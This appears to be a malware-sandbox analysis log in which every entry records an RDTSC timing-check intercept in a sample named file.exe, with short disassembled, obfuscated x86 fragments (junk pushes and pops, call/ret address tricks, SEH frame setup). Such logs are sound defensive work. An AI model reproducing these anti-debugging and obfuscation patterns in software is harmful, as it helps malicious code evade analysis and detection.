Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA25C3 second address: CA25C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA268B second address: CA26A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26A0 second address: CA26D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C806h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1690B6C801h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26D3 second address: CA26D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2C54 second address: CA2C5E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D35 second address: CA2D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D39 second address: CA2D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D3D second address: CA2D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D43 second address: CA2D52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D52 second address: CA2D58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D58 second address: CA2D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D5E second address: CA2D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA34F7 second address: CA34FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA385B second address: CA3861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3861 second address: CA3865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3865 second address: CA3877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F1690C1AFB3h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3D54 second address: CA3D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4844 second address: CA4862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA464C second address: CA4650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4862 second address: CA4866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4866 second address: CA486C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5891 second address: CA591A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F1690C1AF98h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 sub esi, dword ptr [ebp+122D2E38h] 0x0000002d call 00007F1690C1AF9Eh 0x00000032 mov ebx, dword ptr [ebp+122D3034h] 0x00000038 pop edi 0x00000039 popad 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F1690C1AF98h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 push 00000000h 0x00000058 sub dword ptr [ebp+122D1D60h], edi 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA591A second address: CA591F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E0E second address: CA6E12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7916 second address: CA793D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov esi, ecx 0x0000000b push 00000000h 0x0000000d ja 00007F1690B6C7FCh 0x00000013 push 00000000h 0x00000015 add esi, dword ptr [ebp+122D59C2h] 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA793D second address: CA7944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7944 second address: CA794F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F1690B6C7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8516 second address: CA851E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8FA3 second address: CA8FAD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C7FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACAB9 second address: CACABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADF6D second address: CADF71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55C36 second address: C55C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1690C1AFA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55C51 second address: C55C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F1690B6C7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55C5C second address: C55C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE4B2 second address: CAE53B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1690B6C7FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F1690B6C800h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F1690B6C7F8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3984h], edx 0x00000032 mov bl, B3h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F1690B6C7F8h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 movzx edi, ax 0x00000053 push 00000000h 0x00000055 movsx edi, bx 0x00000058 xchg eax, esi 0x00000059 push ebx 0x0000005a jmp 00007F1690B6C7FDh 0x0000005f pop ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE53B second address: CAE546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690C1AF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF5DE second address: CAF5F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F1690B6C7F6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB04A6 second address: CB04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6B22 second address: CA6B33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6B33 second address: CA6B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6B37 second address: CA6B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8D37 second address: CA8D3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE786 second address: CAE78A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF796 second address: CAF85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F1690C1AF98h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D3C64h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 sub dword ptr [ebp+12469127h], ebx 0x00000036 stc 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F1690C1AF98h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 jmp 00007F1690C1AFA1h 0x0000005d sub dword ptr [ebp+122D59CAh], edi 0x00000063 or dword ptr [ebp+122D2B09h], esi 0x00000069 mov eax, dword ptr [ebp+122D0DF5h] 0x0000006f push FFFFFFFFh 0x00000071 mov dword ptr [ebp+122D2549h], esi 0x00000077 nop 0x00000078 push edx 0x00000079 jmp 00007F1690C1AFA7h 0x0000007e pop edx 0x0000007f push eax 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F1690C1AFA1h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2658 second address: CB265C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB36A0 second address: CB3727 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690C1AFADh 0x00000008 jmp 00007F1690C1AFA7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 sub di, 8C49h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F1690C1AF98h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D5992h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 pushad 0x00000044 sub eax, dword ptr [ebp+122D38B3h] 0x0000004a cmc 0x0000004b popad 0x0000004c mov eax, dword ptr [ebp+122D0641h] 0x00000052 jo 00007F1690C1AF98h 0x00000058 mov ebx, esi 0x0000005a push FFFFFFFFh 0x0000005c add bl, 0000007Dh 0x0000005f mov edi, dword ptr [ebp+122D2F84h] 0x00000065 nop 0x00000066 pushad 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3727 second address: CB3734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F1690B6C7F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3734 second address: CB3755 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F1690C1AFA0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3755 second address: CB375A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB375A second address: CB3760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7527 second address: CB752B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB752B second address: CB7550 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1690C1AFA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jne 00007F1690C1AF96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7550 second address: CB75F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F1690B6C802h 0x0000000b pop edx 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1690B6C7F8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push ecx 0x00000029 mov dword ptr [ebp+122D1EF3h], ebx 0x0000002f pop edi 0x00000030 mov ebx, 655636EDh 0x00000035 push 00000000h 0x00000037 js 00007F1690B6C7FBh 0x0000003d add bx, 4283h 0x00000042 mov ebx, 32E405CCh 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007F1690B6C7F8h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 00000014h 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 mov dword ptr [ebp+122D1D25h], ebx 0x00000069 xchg eax, esi 0x0000006a jmp 00007F1690B6C806h 0x0000006f push eax 0x00000070 push edi 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB75F0 second address: CB75F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB667D second address: CB6683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6683 second address: CB6689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7769 second address: CB776F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB776F second address: CB778A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1690C1AF9Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB87BD second address: CB87EC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F1690B6C807h 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jnp 00007F1690B6C7F6h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB87EC second address: CB87F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9758 second address: CB9821 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F1690B6C7FEh 0x00000011 sbb edi, 76FBF6F8h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F1690B6C7F8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov bx, 0D87h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jp 00007F1690B6C804h 0x00000049 call 00007F1690B6C7FCh 0x0000004e stc 0x0000004f pop edi 0x00000050 mov eax, dword ptr [ebp+122D0509h] 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F1690B6C7F8h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 movzx edi, di 0x00000073 push FFFFFFFFh 0x00000075 or di, 8FBBh 0x0000007a nop 0x0000007b jmp 00007F1690B6C7FBh 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F1690B6C803h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB5FA second address: CBB5FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB5FF second address: CBB605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA81C second address: CBA820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA820 second address: CBA831 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F1690B6C808h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA831 second address: CBA835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA835 second address: CBA839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC79F second address: CBC7AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB915 second address: CBB919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB919 second address: CBB927 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB927 second address: CBB92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB92B second address: CBB92F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC8BD second address: CBC8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC8C2 second address: CBC8C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC8C8 second address: CBC8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFEB5 second address: CBFEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFEB9 second address: CBFEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD965 second address: CBD96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD96F second address: CBD988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD988 second address: CBD98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E3FB second address: C5E415 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1690B6C802h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D07 second address: CC9D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D0B second address: CC9D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D11 second address: CC9D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
